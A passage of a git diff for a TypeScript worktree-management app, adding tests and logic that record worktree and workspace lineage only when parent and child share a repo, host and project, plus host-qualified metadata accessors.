+  worktree = createdWorktree()
+) {
+  return recordWorkspaceLineageForCreatedWorktree(
+    store as never,
+    args as CreateWorktreeArgs,
+    worktree,
+    CREATED_AT
+  )
+}
+
+describe('recordWorkspaceLineageForCreatedWorktree', () => {
+  beforeEach(() => {
+    vi.spyOn(console, 'warn').mockImplementation(() => {})
+  })
+
+  afterEach(() => {
+    vi.restoreAllMocks()
+  })
+
+  it('writes both lineage rows for a worktree parent inside the same repo/host/project', () => {
+    const store = createStore({ metaById: { [PARENT_ID]: parentMeta() } })
+
+    const result = record(store, { parentWorkspace: worktreeWorkspaceKey(PARENT_ID) })
+
+    expect(store.setWorktreeLineage).toHaveBeenCalledWith(CHILD_ID, {
+      worktreeId: CHILD_ID,
+      worktreeInstanceId: 'child-instance',
+      parentWorktreeId: PARENT_ID,
+      parentWorktreeInstanceId: 'parent-instance',
+      origin: 'manual',
+      capture: { source: 'manual-action', confidence: 'explicit' },
+      createdAt: CREATED_AT
+    })
+    expect(result.lineage).toMatchObject({
+      parentWorktreeId: PARENT_ID,
+      parentWorktreeInstanceId: 'parent-instance',
+      origin: 'manual',
+      capture: { source: 'manual-action', confidence: 'explicit' }
+    })
+    expect(result.workspaceLineage).toEqual({
+      childWorkspaceKey: worktreeWorkspaceKey(CHILD_ID),
+      childInstanceId: 'child-instance',
+      parentWorkspaceKey: worktreeWorkspaceKey(PARENT_ID),
+      parentInstanceId: 'parent-instance',
+      origin: 'manual',
+      capture: { source: 'manual-action', confidence: 'explicit' },
+      createdAt: CREATED_AT
+    })
+  })
+
+  it('skips both lineage records when the parent belongs to a different repo', () => {
+    const foreignParentId = 'repo-2::/repos/parent'
+    const store = createStore({ metaById: { [foreignParentId]: parentMeta() } })
+
+    const result = record(store, { parentWorkspace: worktreeWorkspaceKey(foreignParentId) })
+
+    expect(store.setWorktreeLineage).not.toHaveBeenCalled()
+    expect(result.lineage).toBeNull()
+    expect(store.setWorkspaceLineage).not.toHaveBeenCalled()
+    expect(result.workspaceLineage).toBeNull()
+  })
+
+  it.each([
+    ['host', parentMeta({ hostId: 'ssh:other-host' })],
+    ['project', parentMeta({ projectId: 'project-2' })]
+  ])(
+    'skips both lineage records when the parent %s conflicts, so no cross-host row is persisted',
+    (_label, meta) => {
+      const store = createStore({ metaById: { [PARENT_ID]: meta } })
+
+      const result = record(store, { parentWorkspace: worktreeWorkspaceKey(PARENT_ID) })
+
+      expect(store.setWorktreeLineage).not.toHaveBeenCalled()
+      expect(result.lineage).toBeNull()
+      // A persisted cross-host row makes filterLineageForHost return null for the entire host.
+      expect(store.setWorkspaceLineage).not.toHaveBeenCalled()
+      expect(result.workspaceLineage).toBeNull()
+    }
+  )
+
+  it('skips worktree lineage when the parent has no instance identity', () => {
+    const store = createStore({ metaById: { [PARENT_ID]: parentMeta({ instanceId: undefined }) } })
+
+    const result = record(store, { parentWorkspace: worktreeWorkspaceKey(PARENT_ID) })
+
+    expect(store.setWorktreeLineage).not.toHaveBeenCalled()
+    expect(result.lineage).toBeNull()
+    expect(result.workspaceLineage).toMatchObject({
+      parentWorkspaceKey: worktreeWorkspaceKey(PARENT_ID),
+      parentInstanceId: null
+    })
+  })
+
+  it('records only workspace lineage for a folder-workspace parent', () => {
+    const store = createStore({ folderWorkspaceIds: ['folder-1'] })
+
+    const result = record(store, { parentWorkspace: folderWorkspaceKey('folder-1') })
+
+    expect(store.setWorktreeLineage).not.toHaveBeenCalled()
+    expect(result.lineage).toBeNull()
+    expect(result.workspaceLineage).toMatchObject({
+      parentWorkspaceKey: folderWorkspaceKey('folder-1'),
+      parentInstanceId: null,
+      capture: { source: 'active-workspace', confidence: 'explicit' }
+    })
+  })
+
+  it('records nothing without a parent workspace', () => {
+    const store = createStore({})
+
+    const result = record(store, {})
+
+    expect(store.setWorktreeLineage).not.toHaveBeenCalled()
+    expect(store.setWorkspaceLineage).not.toHaveBeenCalled()
+    expect(result).toEqual({ lineage: null, workspaceLineage: null })
+  })
+
+  it('records nothing when the parent workspace is the created worktree itself', () => {
+    const store = createStore({ metaById: { [CHILD_ID]: parentMeta() } })
+
+    const result = record(store, { parentWorkspace: worktreeWorkspaceKey(CHILD_ID) })
+
+    expect(store.setWorktreeLineage).not.toHaveBeenCalled()
+    expect(store.setWorkspaceLineage).not.toHaveBeenCalled()
+    expect(result).toEqual({ lineage: null, workspaceLineage: null })
+  })
+
+  it('records nothing when the parent worktree disappeared before the write', () => {
+    const store = createStore({})
+
+    const result = record(store, { parentWorkspace: worktreeWorkspaceKey(PARENT_ID) })
+
+    expect(store.setWorkspaceLineage).not.toHaveBeenCalled()
+    expect(result).toEqual({ lineage: null, workspaceLineage: null })
+  })
+})
+
+describe('assertAttachableParentWorkspace', () => {
+  const childKey = worktreeWorkspaceKey(CHILD_ID)
+
+  beforeEach(() => {
+    vi.spyOn(console, 'warn').mockImplementation(() => {})
+  })
+
+  afterEach(() => {
+    vi.restoreAllMocks()
+  })
+
+  function assertParent(
+    store: ReturnType<typeof createStore>,
+    parentWorkspace: CreateWorktreeArgs['parentWorkspace']
+  ) {
+    assertAttachableParentWorkspace(store as never, parentWorkspace, childKey)
+  }
+
+  // Why: the pick can go stale between the composer and the create; nesting is decoration, not the job.
+  it.each([
+    ['worktree', () => worktreeWorkspaceKey(PARENT_ID)],
+    ['folder', () => folderWorkspaceKey('folder-gone')]
+  ])('degrades instead of failing when the %s parent disappeared', (_label, key) => {
+    const store = createStore({})
+
+    expect(() => assertParent(store, key())).not.toThrow()
+    expect(console.warn).toHaveBeenCalled()
+  })
+
+  it('accepts a parent that still exists', () => {
+    const store = createStore({ metaById: { [PARENT_ID]: parentMeta() } })
+
+    expect(() => assertParent(store, worktreeWorkspaceKey(PARENT_ID))).not.toThrow()
+    expect(console.warn).not.toHaveBeenCalled()
+  })
+
+  it('rejects a self-referential parent', () => {
+    const store = createStore({ metaById: { [CHILD_ID]: parentMeta() } })
+
+    expect(() => assertParent(store, childKey)).toThrow(/cannot be attached to itself/)
+  })
+
+  it('rejects a malformed parent key', () => {
+    const store = createStore({})
+
+    expect(() => assertParent(store, 'not-a-workspace-key' as never)).toThrow(
+      /Invalid parent workspace/
+    )
+  })
+})
diff --git a/src/main/ipc/worktree-metadata-merge.test.ts b/src/main/ipc/worktree-metadata-merge.test.ts
new file mode 100644
index 00000000000..561897beb5c
--- /dev/null
+++ b/src/main/ipc/worktree-metadata-merge.test.ts
@@ -0,0 +1,47 @@
+import { describe, expect, it } from 'vitest'
+import { canonicalWorktreeIdentity } from '../../shared/worktree/identity'
+import type { GitWorktreeInfo } from '../../shared/worktree/types'
+import { mergeWorktree } from './worktree-metadata-merge'
+
+const git: GitWorktreeInfo = {
+  path: '/workspace/feature',
+  head: 'abc123',
+  branch: 'refs/heads/feature',
+  isBare: false,
+  isMainWorktree: false
+}
+
+describe('mergeWorktree identity projection', () => {
+  it('publishes canonical identity when host and instance metadata are known', () => {
+    const worktree = mergeWorktree('repo-1', git, {
+      instanceId: '11111111-1111-4111-8111-111111111111',
+      hostId: 'ssh:build-box',
+      displayName: 'Feature',
+      comment: '',
+      linkedIssue: null,
+      linkedPR: null,
+      linkedLinearIssue: null,
+      isArchived: false,
+      isUnread: false,
+      isPinned: false,
+      sortOrder: 0,
+      lastActivityAt: 0
+    })
+
+    expect(worktree.identity).toEqual({
+      key: canonicalWorktreeIdentity({
+        worktreeId: worktree.id,
+        executionHostId: 'ssh:build-box',
+        instanceId: '11111111-1111-4111-8111-111111111111'
+      }),
+      executionHostId: 'ssh:build-box',
+      instanceId: '11111111-1111-4111-8111-111111111111'
+    })
+  })
+
+  it('omits canonical identity for legacy metadata without a proven host', () => {
+    const worktree = mergeWorktree('repo-1', git, undefined)
+
+    expect(worktree.identity).toBeUndefined()
+  })
+})
diff --git a/src/main/ipc/worktree-metadata-merge.ts b/src/main/ipc/worktree-metadata-merge.ts
index 4fdfe07c72a..742467c63a2 100644
--- a/src/main/ipc/worktree-metadata-merge.ts
+++ b/src/main/ipc/worktree-metadata-merge.ts
@@ -4,6 +4,7 @@ import type { GitWorktreeInfo, Worktree } from '../../shared/worktree/types'
 import { DEFAULT_WORKSPACE_STATUS_ID } from '../../shared/workspace-statuses'
 import { getLinkedWorkItemMetadata } from './worktree-linked-work-item-metadata'
 import { normalizeWorkspaceCreatorProvenance } from '../../shared/workspace-creator-provenance'
+import { createWorktreeIdentity } from '../../shared/worktree/identity'
 
 /**
  * Merge raw git worktree info with persisted user metadata into a full Worktree.
@@ -16,8 +17,18 @@ export function mergeWorktree(
 ): Worktree {
   const branchShort = git.branch.replace(/^refs\/heads\//, '')
   const creatorProvenance = normalizeWorkspaceCreatorProvenance(meta?.creatorProvenance)
+  const worktreeId = `${repoId}::${git.path}`
   return {
-    id: `${repoId}::${git.path}`,
+    id: worktreeId,
+    ...(meta?.instanceId && meta.hostId
+      ? {
+          identity: createWorktreeIdentity({
+            worktreeId,
+            executionHostId: meta.hostId,
+            instanceId: meta.instanceId
+          })
+        }
+      : {}),
     ...(meta?.instanceId !== undefined ? { instanceId: meta.instanceId } : {}),
     repoId,
     ...(meta?.projectId !== undefined ? { projectId: meta.projectId } : {}),
diff --git a/src/main/ipc/worktree-remote.ts b/src/main/ipc/worktree-remote.ts
index e71c16c7ffe..977c29d8792 100644
--- a/src/main/ipc/worktree-remote.ts
+++ b/src/main/ipc/worktree-remote.ts
@@ -48,7 +48,7 @@ import type {
   RemoteFetchResult,
   RemoteTrackingBase
 } from '../runtime/orca-runtime'
-import { getProjectHostSetupWorktreeMeta } from '../../shared/project-host-setup-projection'
+import { getProjectHostSetupWorktreeMeta } from '../../shared/project-host-setup-lookup'
 import { getEffectiveHooks, loadHooks, parseOrcaYaml } from '../hooks'
 import { buildPosixRunnerScript, buildWindowsRunnerScript } from '../setup-runner-script-text'
 import { createSetupRunnerScript, resolveSetupRunnerShell } from '../worktree-runner-script'
@@ -91,6 +91,7 @@ import { findCreatedWorktree } from './created-worktree-reconciliation'
 import type { BranchPrefixSettings } from '../../shared/branch-prefix'
 import { getRepoIdFromWorktreeId } from '../../shared/worktree/id'
 import { parseWorkspaceKey, worktreeWorkspaceKey } from '../../shared/workspace-scope'
+import { sharesWorktreeLineageBoundary } from '../../shared/resolved-worktree-lineage'
 import {
   cleanupUnusedWorktreePushTargetRemoteWithExec,
   sameGitHubRemoteUrl,
@@ -197,7 +198,11 @@ function getSetupRunnerCommandPlatformForLaunch(
   return getSetupRunnerCommandPlatformForPath(setup?.runnerScriptPath ?? '', fallbackPlatform)
 }
 
-function validateWorkspaceLineageParentBeforeCreate(
+/** Why not throw on a missing parent: nesting is optional decoration, and the pick can go stale
+ *  between the composer and the create. A malformed or self-referential key is a bad request and
+ *  still fails; a parent that simply disappeared degrades to an unattached workspace, matching the
+ *  runtime path and `recordWorkspaceLineageForCreatedWorktree`. */
+export function assertAttachableParentWorkspace(
   store: Store,
   parentWorkspace: CreateWorktreeArgs['parentWorkspace'],
   childWorkspaceKey: ReturnType<typeof worktreeWorkspaceKey>
@@ -213,51 +218,120 @@ function validateWorkspaceLineageParentBeforeCreate(
     throw new Error(`Invalid parent workspace: ${parentWorkspace}`)
   }
   if (parentScope.type === 'folder' && !store.getFolderWorkspace(parentScope.folderWorkspaceId)) {
-    throw new Error(`Parent folder workspace not found: ${parentWorkspace}`)
+    console.warn(`[worktree-create] parent folder workspace not found: ${parentWorkspace}`)
+    return
   }
   if (parentScope.type === 'worktree' && !store.getWorktreeMeta(parentScope.worktreeId)) {
-    throw new Error(`Parent worktree workspace not found: ${parentWorkspace}`)
+    console.warn(`[worktree-create] parent worktree workspace not found: ${parentWorkspace}`)
   }
 }
 
-function recordWorkspaceLineageForCreatedWorktree(
+type CreatedWorktreeLineageRecords = {
+  lineage: CreateWorktreeResult['lineage']
+  workspaceLineage: CreateWorktreeResult['workspaceLineage']
+}
+
+const NO_CREATED_WORKTREE_LINEAGE: CreatedWorktreeLineageRecords = {
+  lineage: null,
+  workspaceLineage: null
+}
+
+/** Mirrors the projection's edge rule so we never persist a row the sidebar would silently drop.
+ *  WorktreeMeta has no repoId, so the parent's comes from its `<repoId>::<path>` id. */
+function createdWorktreeSharesParentLineageBoundary(
+  worktree: Worktree,
+  parentWorktreeId: string,
+  parentMeta: WorktreeMeta
+): boolean {
+  return sharesWorktreeLineageBoundary(worktree, {
+    repoId: getRepoIdFromWorktreeId(parentWorktreeId),
+    hostId: parentMeta.hostId,
+    projectId: parentMeta.projectId
+  })
+}
+
+export function recordWorkspaceLineageForCreatedWorktree(
   store: Store,
   args: CreateWorktreeArgs,
   worktree: Worktree,
   createdAt: number
-): CreateWorktreeResult['workspaceLineage'] {
+): CreatedWorktreeLineageRecords {
   if (!args.parentWorkspace || !worktree.instanceId) {
-    return null
+    return NO_CREATED_WORKTREE_LINEAGE
   }
   const childWorkspaceKey = worktreeWorkspaceKey(worktree.id)
   if (args.parentWorkspace === childWorkspaceKey) {
     console.warn(`[worktree-create] refusing to attach ${worktree.id} to itself`)
-    return null
+    return NO_CREATED_WORKTREE_LINEAGE
   }
   const parentScope = parseWorkspaceKey(args.parentWorkspace)
   if (!parentScope) {
     console.warn(`[worktree-create] ignoring invalid parent workspace ${args.parentWorkspace}`)
-    return null
+    return NO_CREATED_WORKTREE_LINEAGE
   }
   if (parentScope.type === 'folder' && !store.getFolderWorkspace(parentScope.folderWorkspaceId)) {
     console.warn(`[worktree-create] parent folder workspace disappeared: ${args.parentWorkspace}`)
-    return null
+    return NO_CREATED_WORKTREE_LINEAGE
   }
   const parentWorktreeMeta =
     parentScope.type === 'worktree' ? store.getWorktreeMeta(parentScope.worktreeId) : null
   if (parentScope.type === 'worktree' && !parentWorktreeMeta) {
     console.warn(`[worktree-create] parent worktree workspace disappeared: ${args.parentWorkspace}`)
-    return null
+    return NO_CREATED_WORKTREE_LINEAGE
   }
-  return store.setWorkspaceLineage({
+
+  // Why: only a worktree parent produces sidebar nesting; a folder parent has no WorktreeLineage row.
+  let lineage: CreateWorktreeResult['lineage'] = null
+  let parentOutsideLineageBoundary = false
+  if (parentScope.type === 'worktree' && parentWorktreeMeta) {
+    if (!parentWorktreeMeta.instanceId) {
+      console.warn(
+        `[worktree-create] parent ${parentScope.worktreeId} has no instance identity; skipping lineage`
+      )
+    } else if (
+      !createdWorktreeSharesParentLineageBoundary(
+        worktree,
+        parentScope.worktreeId,
+        parentWorktreeMeta
+      )
+    ) {
+      parentOutsideLineageBoundary = true
+      console.warn(
+        `[worktree-create] parent ${parentScope.worktreeId} is outside ${worktree.id}'s repo/host/project boundary; skipping lineage`
+      )
+    } else {
+      lineage = store.setWorktreeLineage(worktree.id, {
+        worktreeId: worktree.id,
+        worktreeInstanceId: worktree.instanceId,
+        parentWorktreeId: parentScope.worktreeId,
+        parentWorktreeInstanceId: parentWorktreeMeta.instanceId,
+        origin: 'manual',
+        capture: { source: 'manual-action', confidence: 'explicit' },
+        createdAt
+      })
+    }
+  }
+
+  // Why: persisting a workspace row for an out-of-boundary worktree parent poisons the whole host —
+  // `filterLineageForHost` returns null for any owned row whose child and parent hosts differ, so
+  // every nesting on that host stops hydrating, and the row survives restarts.
+  if (parentOutsideLineageBoundary) {
+    return NO_CREATED_WORKTREE_LINEAGE
+  }
+
+  const workspaceLineage = store.setWorkspaceLineage({
     childWorkspaceKey,
     childInstanceId: worktree.instanceId,
     parentWorkspaceKey: args.parentWorkspace,
     parentInstanceId: parentWorktreeMeta?.instanceId ?? null,
     origin: 'manual',
-    capture: { source: 'active-workspace', confidence: 'explicit' },
+    capture: {
+      source: parentScope.type === 'worktree' ? 'manual-action' : 'active-workspace',
+      confidence: 'explicit'
+    },
     createdAt
   })
+  return { lineage, workspaceLineage }
 }
 
 function countNonEmptyGitOutputLines(output: string): number {
@@ -1677,7 +1751,7 @@ export async function createRemoteWorktree(
     )
   }
 
-  validateWorkspaceLineageParentBeforeCreate(
+  assertAttachableParentWorkspace(
     store,
     args.parentWorkspace,
     worktreeWorkspaceKey(`${repo.id}::${remotePath}`)
@@ -1915,7 +1989,12 @@ export async function createRemoteWorktree(
     const meta = store.setWorktreeMeta(worktreeId, metaUpdates)
     return { worktree: mergeWorktree(repo.id, created, meta) }
   })
-  const workspaceLineage = recordWorkspaceLineageForCreatedWorktree(store, args, worktree, now)
+  const { lineage: worktreeLineage, workspaceLineage } = recordWorkspaceLineageForCreatedWorktree(
+    store,
+    args,
+    worktree,
+    now
+  )
 
   // Why: shared/symlink paths, `orca.yaml` shared directories, and `.worktreeinclude` copies are local-only; remote (SSH) support needs a new relay method + auth surface, so all are skipped here.
 
@@ -1962,7 +2041,14 @@ export async function createRemoteWorktree(
 
   notifyWorktreesChanged(mainWindow, repo.id)
   return {
-    worktree: { ...worktree, workspaceLineage },
+    worktree: {
+      ...worktree,
+      workspaceLineage,
+      ...(worktreeLineage
+        ? { lineage: worktreeLineage, parentWorktreeId: worktreeLineage.parentWorktreeId }
+        : {})
+    },
+    ...(worktreeLineage ? { lineage: worktreeLineage } : {}),
     ...(workspaceLineage ? { workspaceLineage } : {}),
     ...(setup ? { setup } : {}),
     ...(defaultTabs ? { defaultTabs } : {}),
@@ -2308,7 +2394,7 @@ export async function createLocalWorktree(
     )
   }
 
-  validateWorkspaceLineageParentBeforeCreate(
+  assertAttachableParentWorkspace(
     store,
     args.parentWorkspace,
     worktreeWorkspaceKey(`${repo.id}::${worktreePath}`)
@@ -2555,7 +2641,12 @@ export async function createLocalWorktree(
     const meta = store.setWorktreeMeta(worktreeId, metaUpdates)
     return { worktree: mergeWorktree(repo.id, created, meta) }
   })
-  const workspaceLineage = recordWorkspaceLineageForCreatedWorktree(store, args, worktree, now)
+  const { lineage: worktreeLineage, workspaceLineage } = recordWorkspaceLineageForCreatedWorktree(
+    store,
+    args,
+    worktree,
+    now
+  )
   // Why: reuse the roots creation already paid for via `git worktree list` so later IPC doesn't lazily rescan and trip macOS privacy prompts.
   registerWorktreeRootsForRepo(store, repo.id, [
     repo.path,
@@ -2658,7 +2749,14 @@ export async function createLocalWorktree(
 
   notifyWorktreesChanged(mainWindow, repo.id)
   return {
-    worktree: { ...worktree, workspaceLineage },
+    worktree: {
+      ...worktree,
+      workspaceLineage,
+      ...(worktreeLineage
+        ? { lineage: worktreeLineage, parentWorktreeId: worktreeLineage.parentWorktreeId }
+        : {})
+    },
+    ...(worktreeLineage ? { lineage: worktreeLineage } : {}),
     ...(workspaceLineage ? { workspaceLineage } : {}),
     ...(stagedStartup.activationSetup
       ? { setup: stagedStartup.activationSetup }
diff --git a/src/main/ipc/worktrees-create-metadata-persistence.test.ts b/src/main/ipc/worktrees-create-metadata-persistence.test.ts
index 7e2ebac49f5..1aeff9627b4 100644
--- a/src/main/ipc/worktrees-create-metadata-persistence.test.ts
+++ b/src/main/ipc/worktrees-create-metadata-persistence.test.ts
@@ -205,6 +205,36 @@ describe('registerWorktreeHandlers', () => {
     })
     expect(result).toMatchObject({ comment: 'keep me', isPinned: true })
   })
+  it('routes metadata updates through the explicitly selected host', () => {
+    store.setWorktreeMetaForHost.mockImplementation((_worktreeId, _executionHostId, meta) => meta)
+
+    const result = handlers['worktrees:updateMeta'](null, {
+      worktreeId: 'repo-1::/workspace/feature-wt',
+      executionHostId: 'ssh:build-box',
+      updates: { comment: 'remote note' }
+    })
+
+    expect(store.setWorktreeMetaForHost).toHaveBeenCalledWith(
+      'repo-1::/workspace/feature-wt',
+      'ssh:build-box',
+      { comment: 'remote note' }
+    )
+    expect(store.setWorktreeMeta).not.toHaveBeenCalled()
+    expect(result).toMatchObject({ comment: 'remote note' })
+  })
+
+  it('rejects malformed execution-host identities at the IPC boundary', () => {
+    expect(() =>
+      handlers['worktrees:updateMeta'](null, {
+        worktreeId: 'repo-1::/workspace/feature-wt',
+        executionHostId: 'container:untrusted',
+        updates: { comment: 'must not write' }
+      })
+    ).toThrow('Invalid execution host identity.')
+
+    expect(store.setWorktreeMetaForHost).not.toHaveBeenCalled()
+    expect(store.setWorktreeMeta).not.toHaveBeenCalled()
+  })
 
   it('pushes a remote-client invalidation for renames but not read-state updates', () => {
     store.setWorktreeMeta.mockImplementation((_worktreeId, meta) => meta)
diff --git a/src/main/ipc/worktrees-listing-fallback-rows.test.ts b/src/main/ipc/worktrees-listing-fallback-rows.test.ts
index 45bea853e67..c33f9e14ef8 100644
--- a/src/main/ipc/worktrees-listing-fallback-rows.test.ts
+++ b/src/main/ipc/worktrees-listing-fallback-rows.test.ts
@@ -2,6 +2,8 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { listWorktreesMock, getSshGitProviderMock } from './worktrees-test-module-mocks'
 import { handlers, setupWorktreeHandlers, store } from './worktrees-test-harness'
 import { makeWorktreeMeta } from './worktrees-test-fixtures'
+import { buildDetectedGitWorktrees } from './worktrees/listing/ssh-worktree-fallback'
+import type { Store } from '../persistence/loading-store/store'
 
 vi.mock('electron', async () =>
   (await import('./worktrees-test-module-mocks')).electronModuleMock()
@@ -224,6 +226,41 @@ describe('registerWorktreeHandlers', () => {
     })
   })
 
+  it('lists a canonical-only SSH row without leaking the same-id local row', async () => {
+    const repo = {
+      id: 'repo-ssh',
+      path: '/remote/repo',
+      displayName: 'SSH Repo',
+      badgeColor: '#000',
+      addedAt: 0,
+      connectionId: 'conn-1'
+    }
+    const worktreeId = 'repo-ssh::/shared/feature-wt'
+    const canonicalRemote = makeWorktreeMeta({
+      displayName: 'Canonical remote',
+      hostId: 'ssh:conn-1'
+    })
+    store.getRepo.mockReturnValue(repo)
+    store.getAllWorktreeMeta.mockReturnValue({
+      [worktreeId]: makeWorktreeMeta({ displayName: 'Legacy local', hostId: 'local' })
+    })
+    ;(
+      store as typeof store & {
+        getAllWorktreeMetaForHost: ReturnType<typeof vi.fn>
+      }
+    ).getAllWorktreeMetaForHost = vi.fn(() => ({ [worktreeId]: canonicalRemote }))
+
+    const listed = await handlers['worktrees:list'](null, { repoId: repo.id })
+
+    expect(listed).toEqual([
+      expect.objectContaining({
+        id: worktreeId,
+        displayName: 'Canonical remote',
+        hostId: 'ssh:conn-1'
+      })
+    ])
+  })
+
   it('falls back to reconstructed SSH rows when provider listing throws', async () => {
     const repo = {
       id: 'repo-ssh',
@@ -424,4 +461,31 @@ describe('registerWorktreeHandlers', () => {
       expect.objectContaining({ id: 'repo-ssh-b::/remote/b/two' })
     ])
   })
+
+  it('loads repo ownership once while building multiple detected rows', () => {
+    const owner = {
+      id: 'repo-1',
+      path: '/workspace/repo',
+      displayName: 'repo',
+      badgeColor: '#000',
+      addedAt: 0
+    }
+    store.getRepos.mockReturnValue([owner])
+
+    const detected = buildDetectedGitWorktrees(
+      store as unknown as Store,
+      owner,
+      ['/workspace/one', '/workspace/two', '/workspace/three'].map((path) => ({
+        path,
+        head: 'abc123',
+        branch: 'refs/heads/feature',
+        isBare: false,
+        isMainWorktree: false
+      })),
+      {}
+    )
+
+    expect(detected).toHaveLength(3)
+    expect(store.getRepos).toHaveBeenCalledTimes(1)
+  })
 })
diff --git a/src/main/ipc/worktrees-test-harness.ts b/src/main/ipc/worktrees-test-harness.ts
index 4e1c524fa67..0eacf52e472 100644
--- a/src/main/ipc/worktrees-test-harness.ts
+++ b/src/main/ipc/worktrees-test-harness.ts
@@ -73,6 +73,8 @@ export {
 
 /** Registers worktree IPC handlers against freshly reset shared mocks and returns the runtime stub. */
 export function setupWorktreeHandlers(): WorktreeRuntimeStub {
+  delete (store as typeof store & { getAllWorktreeMetaForHost?: (...args: unknown[]) => unknown })
+    .getAllWorktreeMetaForHost
   setPlatform(ORIGINAL_PLATFORM)
   clearConfiguredWorktreeSharedDirectoriesCacheForTests()
   __resetSshWorktreeCreateFetchCacheForTests()
@@ -125,8 +127,10 @@ export function setupWorktreeHandlers(): WorktreeRuntimeStub {
     store.getSparsePresets,
     store.getSettings,
     store.getWorktreeMeta,
+    store.getWorktreeMetaForHost,
     store.getAllWorktreeMeta,
     store.setWorktreeMeta,
+    store.setWorktreeMetaForHost,
     store.getProjectHostSetups,
     store.removeWorktreeMeta,
     store.removeWorkspaceSessionStateForWorktree,
@@ -190,10 +194,18 @@ export function setupWorktreeHandlers(): WorktreeRuntimeStub {
     workspaceDir: '/workspace'
   })
   store.getWorktreeMeta.mockReturnValue(undefined)
+  // Host-qualified accessors delegate by default so payload assertions stay on one spy;
+  // host routing itself is covered by worktree-identity-persistence.test.ts.
+  store.getWorktreeMetaForHost.mockImplementation((...args: unknown[]) =>
+    store.getWorktreeMeta(args[0] as string)
+  )
   store.getAllWorktreeMeta.mockReturnValue({})
   store.getRetiredWorktreeNameRegistry.mockReturnValue({ exhaustedTiers: 0, names: [] })
   resetRetirementCollisionKeyCacheForTests()
   store.setWorktreeMeta.mockReturnValue({})
+  store.setWorktreeMetaForHost.mockImplementation((...args: unknown[]) =>
+    store.setWorktreeMeta(args[0] as string, args[2] as object)
+  )
   store.getProjectHostSetups.mockReturnValue([
     {
       id: 'repo-1',
diff --git a/src/main/ipc/worktrees-test-ipc-surface.ts b/src/main/ipc/worktrees-test-ipc-surface.ts
index f8d70bfbbbc..cc4b497b1bc 100644
--- a/src/main/ipc/worktrees-test-ipc-surface.ts
+++ b/src/main/ipc/worktrees-test-ipc-surface.ts
@@ -22,8 +22,10 @@ export type TestStore = {
   getSparsePresets: StoreMock
   getSettings: StoreMock
   getWorktreeMeta: KeyedStoreMock
+  getWorktreeMetaForHost: StoreMock
   getAllWorktreeMeta: StoreMock
   setWorktreeMeta: KeyedStoreWriteMock
+  setWorktreeMetaForHost: StoreMock
   getProjectHostSetups: StoreMock
   removeWorktreeMeta: KeyedStoreMock
   removeWorkspaceSessionStateForWorktree: KeyedStoreMock
@@ -54,8 +56,10 @@ export const store: TestStore = {
   getSparsePresets: vi.fn(),
   getSettings: vi.fn(),
   getWorktreeMeta: vi.fn(),
+  getWorktreeMetaForHost: vi.fn(),
   getAllWorktreeMeta: vi.fn(),
   setWorktreeMeta: vi.fn(),
+  setWorktreeMetaForHost: vi.fn(),
   getProjectHostSetups: vi.fn(),
   removeWorktreeMeta: vi.fn(),
   removeWorkspaceSessionStateForWorktree: vi.fn(),
diff --git a/src/main/ipc/worktrees-windows.test.ts b/src/main/ipc/worktrees-windows.test.ts
index d4b3dde71dc..299c3690a1a 100644
--- a/src/main/ipc/worktrees-windows.test.ts
+++ b/src/main/ipc/worktrees-windows.test.ts
@@ -165,6 +165,7 @@ describe('registerWorktreeHandlers – Windows path handling', () => {
     getProjectHostSetups: vi.fn(),
     getSettings: vi.fn(),
     getWorktreeMeta: vi.fn(),
+    getAllWorktreeMeta: vi.fn(),
     setWorktreeMeta: vi.fn(),
     removeWorktreeMeta: vi.fn(),
     addRetiredWorktreeName: vi.fn(),
@@ -209,6 +210,7 @@ describe('registerWorktreeHandlers – Windows path handling', () => {
     store.getProjectHostSetups.mockReset()
     store.getSettings.mockReset()
     store.getWorktreeMeta.mockReset()
+    store.getAllWorktreeMeta.mockReset()
     store.setWorktreeMeta.mockReset()
     store.removeWorktreeMeta.mockReset()
     store.addRetiredWorktreeName.mockReset()
@@ -251,6 +253,7 @@ describe('registerWorktreeHandlers – Windows path handling', () => {
     })
     resolveSetupRunnerShellMock.mockReturnValue(undefined)
     store.getWorktreeMeta.mockReturnValue(undefined)
+    store.getAllWorktreeMeta.mockReturnValue({})
     store.getRetiredWorktreeNameRegistry.mockReturnValue({ exhaustedTiers: 0, names: [] })
     store.setWorktreeMeta.mockReturnValue({})
     resolveLocalGitUsernameMock.mockResolvedValue('')
@@ -501,6 +504,14 @@ describe('registerWorktreeHandlers – Windows path handling', () => {
           }
         : undefined
     )
+    store.getAllWorktreeMeta.mockReturnValue({
+      'repo-1::C:/workspaces/improve-dashboard': {
+        lastActivityAt: 123,
+        displayName: 'Improve Dashboard',
+        linkedIssue: 123,
+        linkedPR: 456
+      }
+    })
 
     await handlers['worktrees:create'](null, {
       repoId: 'repo-1',
diff --git a/src/main/ipc/worktrees/create/folder-workspace-creation.ts b/src/main/ipc/worktrees/create/folder-workspace-creation.ts
index 9a1bc65fc02..0d50cb2e565 100644
--- a/src/main/ipc/worktrees/create/folder-workspace-creation.ts
+++ b/src/main/ipc/worktrees/create/folder-workspace-creation.ts
@@ -1,6 +1,6 @@
 import { randomUUID } from 'node:crypto'
 import type { Repo } from '../../../../shared/repo-types'
-import { getProjectHostSetupWorktreeMeta } from '../../../../shared/project-host-setup-projection'
+import { getProjectHostSetupWorktreeMeta } from '../../../../shared/project-host-setup-lookup'
 import type { CreateWorktreeResult } from '../../../../shared/worktree/create-types'
 import type { Store } from '../../../persistence/loading-store/store'
 import type { CreateWorktreeArgsWithSystemProvenance } from '../ipc-context-schemas'
diff --git a/src/main/ipc/worktrees/listing/detected-provider-listing.ts b/src/main/ipc/worktrees/listing/detected-provider-listing.ts
index c3692d5c926..d855e582161 100644
--- a/src/main/ipc/worktrees/listing/detected-provider-listing.ts
+++ b/src/main/ipc/worktrees/listing/detected-provider-listing.ts
@@ -24,6 +24,8 @@ import {
   rememberLocalWorktreeRoots
 } from './detected-worktree-scan-cache'
 import { loggedWorktreeListFailures, warnOnce } from './worktree-listing-diagnostics'
+import { readAllWorktreeMetaForHost } from '../../../persistence/host-qualified-worktree-meta'
+import { getRepoExecutionHostId } from '../../../../shared/execution-host'
 
 export async function listDetectedWorktreesForCapturedRepo(
   store: Store,
@@ -36,8 +38,11 @@ export async function listDetectedWorktreesForCapturedRepo(
     providerAbort?.signal.aborted
       ? ({ providerAbortStatus: providerAbort.status() } as const)
       : undefined
+  const allMeta = isFolderRepo(repo)
+    ? undefined
+    : readAllWorktreeMetaForHost(store, getRepoExecutionHostId(repo))
   const sshWorktreeMetaIndex = repo.connectionId
